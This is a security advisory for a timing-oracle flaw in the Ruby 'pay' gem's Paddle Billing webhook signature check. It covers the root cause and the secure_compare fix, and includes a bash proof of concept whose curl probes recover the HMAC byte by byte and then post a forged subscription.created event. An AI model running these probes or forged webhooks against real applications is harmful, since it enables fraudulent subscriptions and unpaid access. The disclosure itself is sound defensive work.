high · 7.4Jul 1, 2026

pay: Paddle Billing Webhook Signature Timing Oracle (CWE-208)

Rohit Hatagale
AI Security Researcher, SecureLayer7

The pay gem compared Paddle Billing webhook signatures with Ruby's non-constant-time == operator, letting an attacker recover the real HMAC byte-by-byte from response-time differences and forge…

Packagepay
Ecosystemrubygems
Affected<= 11.6.1

The problem

In pay <= 11.6.1, the method Pay::Webhooks::PaddleBillingController#valid_signature? computes an HMAC-SHA256 over the raw webhook body and then compares it to the attacker-supplied h1= token from the Paddle-Signature header using plain Ruby String#==.

Ruby's == (MRI rb_str_equal) short-circuits on the first mismatching byte. Because the endpoint is internet-reachable by design (Paddle must POST events to it), an attacker can probe it with guessed signatures and use response-time distributions to recover the real hex digest one byte at a time.

A fully recovered signature lets the attacker deliver forged webhook events (subscription.created, transaction.completed, etc.) that trigger Pay::Webhooks::ProcessJob, which downstream apps use to provision paid features and record refunds.

Proof of concept

A working proof-of-concept for this issue in pay, with the exact payload below.

bash
# Timing oracle: send two probes and compare response times.
# A longer avg time on the second request confirms the first hex char matches.

WEBHOOK="http://target.example.com/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)

# Probe 1: fully wrong prefix  (0000...)
curl -s -w '%{time_total}\n' -o /dev/null \
  -X POST \
  -H "Paddle-Signature: ts=$TS;h1=0000000000000000000000000000000000000000000000000000000000000000" \
  -H 'Content-Type: application/json' \
  -d "$BODY" "$WEBHOOK"

# Probe 2: first char matches real HMAC prefix (e.g. 'a')
# If avg(Probe 2) > avg(Probe 1), 'a' is the correct first byte.
curl -s -w '%{time_total}\n' -o /dev/null \
  -X POST \
  -H "Paddle-Signature: ts=$TS;h1=a000000000000000000000000000000000000000000000000000000000000000" \
  -H 'Content-Type: application/json' \
  -d "$BODY" "$WEBHOOK"

# Repeat across all 16 candidates per position (0-9, a-f) for all 64 hex chars.
# Once all 64 chars are recovered, forge a real event:
curl -s -X POST \
  -H "Paddle-Signature: ts=$TS;h1=<recovered_64_char_hmac>" \
  -H 'Content-Type: application/json' \
  -d '{"event_type":"subscription.created","data":{"id":"sub_fake","status":"active"}}' \
  "$WEBHOOK"

The root cause is a single line in paddle_billing_controller.rb: hmac == h1. Ruby's String#== exits at the first byte that differs, so a 64-char hex digest leaks timing information for every position. An attacker who can send enough probes per candidate byte can statistically resolve the correct nibble from the response-time distribution, recovering the full digest without knowing the signing secret.

The patch (suggested in the advisory) replaces the bare == with ActiveSupport::SecurityUtils.secure_compare, which XORs all bytes unconditionally and only inspects the result at the end. A length-equality guard (hmac.bytesize != h1.bytesize) is added first so that short inputs cannot cause the fallback == path that older Rails versions used inside secure_compare.

This is the standard CWE-208 fix for any secret-comparison path.

The fix

Upgrade the pay gem to a version that includes the secure_compare patch (any release after 11.6.1). Until a patched gem is published, monkey-patch valid_signature? in an initializer to use ActiveSupport::SecurityUtils.secure_compare(hmac, h1) with a prior bytesize equality check.

Never use == to compare attacker-controlled values against secrets.

Reported by tonghuaroot.

References: [1][2]

Related research